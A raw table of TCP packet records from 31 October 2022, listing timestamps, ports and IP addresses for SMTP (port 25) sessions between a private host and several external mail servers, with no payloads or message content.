Oct 31, 2022 12:20:43.052687883 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:43.420294046 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:43.593070984 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:43.593521118 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:43.876616955 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:43.910243034 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:43.910355091 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:43.915246010 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:43.952338934 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:43.952529907 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:43.961061954 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:43.975200891 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:43.975306034 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:43.985543966 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:43.996479034 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:43.996689081 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.034030914 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.035449982 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.035743952 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.037830114 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.038072109 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.076011896 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.096390009 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.096420050 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.096668005 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.144397974 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:44.144711971 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:44.158310890 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.161413908 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.222615004 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.222862959 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.223937988 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.224589109 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.257744074 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.265762091 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.265923023 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.267519951 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.282505035 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.292090893 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.300661087 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.300719023 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.300734997 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.300746918 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.300875902 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.301000118 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.301088095 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.304049015 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.305917978 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.306015968 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.334284067 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334322929 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334342003 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334355116 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334373951 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334393024 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334496975 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.334506035 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334496975 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.334528923 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334575891 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.334575891 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.334589005 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334616899 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334652901 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.334664106 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334683895 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334700108 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334717035 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334736109 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334750891 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334829092 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.334846020 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.339098930 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.339139938 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.364437103 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.364772081 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.367671967 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367717028 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367738962 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367757082 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367773056 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367789984 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367808104 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367824078 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367841005 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367876053 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367918015 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367933989 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.367993116 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.368010998 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.368026972 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.368042946 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.368058920 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.368076086 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.379714012 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.379757881 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.379925966 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.380003929 CET	50073	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:44.413573980 CET	25	50073	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:44.414002895 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:44.424985886 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.425115108 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.425134897 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.425170898 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.425250053 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.425251007 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.425688028 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.485035896 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.485088110 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.485105991 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.485122919 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.485186100 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.486193895 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.512458086 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:44.518528938 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.521133900 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.581299067 CET	25	50074	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:44.581487894 CET	50074	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:44.612211943 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:44.612437963 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:44.682388067 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:44.682619095 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:44.684159040 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:44.814024925 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:44.814280987 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:45.012495995 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.015944958 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.017426968 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:45.050163984 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.051613092 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.051683903 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.051729918 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.051773071 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.051816940 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.051852942 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.051852942 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.051852942 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.051868916 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.051915884 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.051985025 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.051985025 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.051985979 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.052035093 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.052061081 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.052711010 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.052747965 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.052812099 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.052812099 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.215960026 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.216669083 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:45.419441938 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.419481993 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419501066 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419517040 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419533968 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419548988 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419564962 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419630051 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.419630051 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.419645071 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419682980 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419692039 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.419692039 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.419699907 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419753075 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.419753075 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:45.419790030 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419852018 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419919014 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419934988 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.419975996 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.420042038 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.420083046 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.420172930 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.420188904 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.420231104 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.420248032 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.426431894 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.426620007 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:45.625014067 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.627010107 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:45.628791094 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:45.787137032 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787183046 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787201881 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787218094 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787235022 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787251949 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787267923 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787286043 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787322044 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787339926 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787357092 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787374020 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787445068 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787489891 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787508011 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787576914 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787595034 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.787611961 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:45.827020884 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.827054977 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.827071905 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.827086926 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.827102900 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.827184916 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:45.827280045 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:45.832477093 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:45.832647085 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:46.011748075 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:46.012032032 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:46.012183905 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:46.012259960 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:46.025476933 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025501966 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025516033 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025528908 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025546074 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025561094 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025578022 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025574923 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:46.025595903 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025614023 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025629044 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025640965 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025654078 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025656939 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:46.025667906 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025676966 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025684118 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:46.025684118 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:46.025693893 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025708914 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025722027 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.025736094 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.030798912 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.030826092 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.052006006 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.079191923 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.079404116 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.107855082 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.108444929 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.135574102 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.138432980 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.143239021 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.171334028 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.171668053 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.203553915 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.223881006 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.223920107 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.223937988 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.223954916 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.223969936 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.223984957 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224001884 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224016905 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224036932 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224049091 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224060059 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224081039 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224097967 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224114895 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224133015 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224152088 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224169016 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.224186897 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.226800919 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.226830006 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.226962090 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:46.230806112 CET	50075	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:46.251353979 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.285249949 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.285470963 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.320554972 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.320884943 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.343041897 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.345875025 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.354700089 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.357340097 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.357618093 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.373007059 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.373898983 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.374113083 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.375473976 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.379462004 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:46.392126083 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.402688980 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.402822971 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.402841091 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.402846098 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.402868032 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.402916908 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.402971983 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.402971983 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.403032064 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.403033018 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.408565044 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.408705950 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.429034948 CET	25	50075	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:46.429932117 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.429979086 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430018902 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430058002 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430094957 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430126905 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430140018 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.430140018 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.430140018 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.430166006 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430206060 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430244923 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430269957 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.430269957 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.430269957 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.430269957 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.430288076 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430305958 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.430321932 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430363894 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430403948 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430432081 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430444002 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.430460930 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430499077 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430536032 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.430577040 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.432604074 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.435790062 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.435815096 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.447746038 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.457571983 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.457612038 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.457638979 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.457655907 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.457731009 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.457739115 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.457839966 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.457880020 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.457897902 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.457978964 CET	25	50076	142.250.153.27	192.168.2.5
